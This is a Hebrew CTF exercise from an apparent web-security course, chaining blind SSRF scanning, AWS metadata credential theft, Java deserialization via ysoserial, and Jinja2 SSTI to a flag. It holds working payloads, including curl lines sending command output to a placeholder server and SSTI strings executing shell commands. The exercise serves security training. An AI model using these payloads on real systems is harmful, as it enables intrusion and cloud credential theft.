לדלג לתוכן

אתגר CTF - צד שרת

סקירת האתגר

אתגר זה משלב את כל הנושאים שלמדנו בפרק 7: SSRF, תקיפת ענן, דסריאליזציה, העלאת קבצים, ו-SSTI. כל שלב מוביל לשלב הבא, ממש כמו תרחיש תקיפה אמיתי.


שלב 1 - גילוי שירותים פנימיים עם Blind SSRF

תיאור

מצאתם אפליקציית ווב שמאפשרת לבדוק האם אתר מסוים זמין. הפונקציונליות מוחזרת כ-"Available" או "Not Available" - בלי את תוכן התשובה.

משימות

  1. זהו את הפרמטר הפגיע ל-SSRF
  2. אשרו שיש SSRF עם שרת חיצוני (Burp Collaborator או webhook.site)
  3. סרקו את הרשת הפנימית כדי למצוא שירותים:
  4. נסו כתובות IP בטווח 10.0.0.1-10.0.0.20
  5. נסו פורטים: 80, 8080, 3000, 5000, 8000, 9090
  6. השתמשו בזמני תגובה לזהות שירותים חיים
import requests
import time

TARGET = "http://challenge.ctf.com/check-url"

def scan_internal(ip, port):
    """בדיקה אם שירות פנימי קיים"""
    internal_url = f"http://{ip}:{port}/"
    start = time.time()
    try:
        response = requests.get(
            TARGET,
            params={"url": internal_url},
            timeout=10
        )
        elapsed = time.time() - start

        # זמן תגובה קצר = שירות קיים
        # זמן תגובה ארוך = timeout = אין שירות
        if elapsed < 3 and "Available" in response.text:
            print(f"[+] FOUND: {ip}:{port} ({elapsed:.2f}s)")
            return True
    except:
        pass
    return False

# סריקה
for i in range(1, 21):
    for port in [80, 8080, 3000, 5000, 8000, 9090]:
        scan_internal(f"10.0.0.{i}", port)
  1. תעדו את כל השירותים שמצאתם ומהם אנחנו נמשיך לשלב הבא

רמז

חפשו שירות על פורט 80 שנותן תשובה מהירה. כנראה שזה שירות ווב פנימי.


שלב 2 - גניבת הרשאות ענן דרך SSRF

תיאור

גיליתם שהאפליקציה רצה על AWS EC2. השתמשו ב-SSRF כדי לגשת לשירות ה-Metadata.

משימות

  1. גשו ל-http://169.254.169.254/latest/meta-data/ דרך ה-SSRF
  2. מצאו את שם ה-IAM Role:
    http://169.254.169.254/latest/meta-data/iam/security-credentials/
    
  3. חלצו את ההרשאות המלאות (Access Key, Secret Key, Token)
  4. בדקו גם את ה-user-data לסודות נוספים:

    http://169.254.169.254/latest/user-data
    

  5. הגדירו את ההרשאות במכונה שלכם:

    export AWS_ACCESS_KEY_ID="ASIA..."
    export AWS_SECRET_ACCESS_KEY="..."
    export AWS_SESSION_TOKEN="..."
    

  6. בדקו מה ההרשאות מאפשרות:

    aws sts get-caller-identity
    aws s3 ls
    aws ec2 describe-instances
    aws lambda list-functions
    

  7. מצאו S3 Bucket עם מידע שמוביל לשלב הבא

רמז

ב-user-data יש סקריפט שמכיל כתובת URL של שירות פנימי נוסף שלא מצאתם בסריקה.


שלב 3 - מציאת נקודת דסריאליזציה

תיאור

מצאתם שירות Java פנימי (Jenkins/JBoss/custom app). דרך ה-SSRF, אתם יכולים לשלוח בקשות אליו.

משימות

  1. גשו לשירות הפנימי דרך ה-SSRF ומפו את הנקודות הזמינות
  2. חפשו סימנים לדסריאליזציה:
  3. Headers כמו Content-Type: application/x-java-serialized-object
  4. נתונים בקידוד Base64 שמתחילים ב-rO0AB
  5. נקודות קצה כמו /invoker/, /jmxinvokerservlet, /api/deserialize

  6. אשרו שהנקודה פגיעה עם URLDNS payload:

    # יצירת payload לזיהוי
    java -jar ysoserial-all.jar URLDNS "http://YOUR-COLLABORATOR.burpcollaborator.net" | base64 -w0
    

  7. שלחו את ה-payload דרך ה-SSRF:

    import requests
    import base64
    
    # ה-SSRF שולח בקשה לשירות הפנימי עם ה-payload
    ssrf_payload = {
        "url": "http://10.0.0.5:8080/api/import",
        "method": "POST",
        "body": base64.b64encode(ysoserial_payload).decode(),
        "headers": {"Content-Type": "application/x-java-serialized-object"}
    }
    

  8. בדקו ב-Collaborator אם הגיעה בקשת DNS

רמז

הנקודה הפגיעה מקבלת נתונים ב-POST body כ-Base64 encoded serialized object.


שלב 4 - RCE דרך דסריאליזציה

תיאור

אישרתם שהשירות הפנימי פגיע לדסריאליזציה. עכשיו צריך להשיג RCE.

משימות

  1. נסו שרשראות gadget שונות כדי למצוא את המתאימה:

    # נסו כל אחת ובדקו ב-Collaborator
    for chain in CommonsCollections1 CommonsCollections2 CommonsCollections3 \
                 CommonsCollections4 CommonsCollections5 CommonsCollections6 \
                 CommonsCollections7 CommonsBeanutils1; do
        echo "[*] Testing $chain"
        java -jar ysoserial-all.jar $chain \
            "nslookup ${chain}.YOUR-ID.burpcollaborator.net" | base64 -w0
        echo ""
    done
    

  2. ברגע שמצאתם שרשרת שעובדת, הריצו פקודות לסקירת המכונה:

    # מי אני?
    java -jar ysoserial-all.jar CommonsCollections5 "curl http://YOUR-SERVER/?data=$(id|base64)" | base64 -w0
    
    # מה יש ברשת?
    java -jar ysoserial-all.jar CommonsCollections5 "curl http://YOUR-SERVER/?data=$(ifconfig|base64)" | base64 -w0
    

  3. מצאו שירות נוסף ברשת הפנימית שנגיש מהמכונה הזו

  4. תעדו את הגישה שלכם ואת הממצאים

רמז

בדקו את משתני הסביבה של המכונה - יש שם כתובת URL של שירות פנימי עם SSTI.


שלב 5 - SSTI ל-RCE מלא

תיאור

מהמכונה שהשגתם גישה אליה בשלב 4, מצאתם שירות פנימי שמשתמש ב-Jinja2 template engine.

משימות

  1. גשו לשירות הפנימי מהמכונה שפרצתם
  2. זהו את נקודת ה-SSTI:

    # דרך reverse shell או command injection מהשלב הקודם
    curl "http://10.0.0.10:5000/page?name={{7*7}}"
    # אם מחזיר 49 - יש SSTI
    

  3. זהו הגבלות (אם יש):

    curl "http://10.0.0.10:5000/page?name={{config}}"
    curl "http://10.0.0.10:5000/page?name={{lipsum.__globals__}}"
    

  4. השיגו RCE:

    # שרשרת 1
    curl "http://10.0.0.10:5000/page?name={{lipsum.__globals__['os'].popen('id').read()}}"
    
    # שרשרת 2 (אם הראשונה חסומה)
    curl "http://10.0.0.10:5000/page?name={{cycler.__init__.__globals__['os'].popen('id').read()}}"
    

  5. קראו את הדגל:

    curl "http://10.0.0.10:5000/page?name={{lipsum.__globals__['os'].popen('cat /flag.txt').read()}}"
    

  6. תעדו את כל שרשרת התקיפה מההתחלה ועד הסוף

רמז

אם תווים מסוימים חסומים, נסו את הטכניקות שלמדנו - hex encoding, request.args, attr filter.


סיכום האתגר

שלב 1: Blind SSRF --> גילוי שירותים פנימיים
    |
    v
שלב 2: SSRF --> Metadata --> הרשאות AWS
    |
    v
שלב 3: SSRF --> שירות Java פנימי --> זיהוי דסריאליזציה
    |
    v
שלב 4: ysoserial --> RCE על שרת Java
    |
    v
שלב 5: SSTI בשירות פנימי --> RCE --> דגל

סביבות תרגול מומלצות

PortSwigger Web Security Academy

השלימו את כל המעבדות ברמת Expert:
- SSRF labs (כולל Blind SSRF)
- Deserialization labs (כולל custom gadget chains)
- SSTI labs (כולל sandboxed environments)
- File Upload labs (כולל race conditions)

HackTheBox

מכונות מומלצות עם שרשור חולשות צד שרת:
- חפשו מכונות עם תגיות: SSRF, Deserialization, SSTI
- מכונות ברמת Medium ו-Hard
- Pro Labs: Offshore, RastaLabs

TryHackMe

חדרים מומלצים:
- "SSRF" room
- "Java Deserialization" room
- "SSTI" room
- "Upload Vulnerabilities" room
- "Cloud Security" pathway

CTF

  • flaws.cloud + flaws2.cloud - תקיפת AWS
  • CloudGoat (Rhino Security Labs) - תרחישי AWS
  • OWASP WebGoat - Deserialization module
  • PentesterLab - Advanced Web challenges

דוח מסכם

בסיום האתגר, כתבו דוח שמסכם:

  1. ממצאים - כל חולשה שמצאתם, כולל חומרה (CVSS)
  2. שרשרת תקיפה - תיאור מלא של כל שלב, כולל payloads
  3. השפעה - מה תוקף יכול לעשות עם כל חולשה
  4. המלצות - כיצד לתקן כל חולשה
  5. לקחים - מה למדתם מהאתגר

תבנית לדוח

# דוח בדיקת חדירות - אתגר CTF צד שרת

## תקציר ניהולי
[סיכום קצר של הממצאים והסיכונים]

## ממצאים

### ממצא 1: Blind SSRF
- חומרה: גבוהה
- נקודת כניסה: [URL ופרמטר]
- הוכחת ניצול: [payload]
- השפעה: [מה ניתן לעשות]
- המלצת תיקון: [כיצד לתקן]

### ממצא 2: גניבת הרשאות AWS
[...]

### ממצא 3: Java Deserialization RCE
[...]

### ממצא 4: SSTI RCE
[...]

## שרשרת תקיפה מלאה
[תרשים ותיאור של כל השלבים]

## המלצות כלליות
[המלצות ברמת הארכיטקטורה]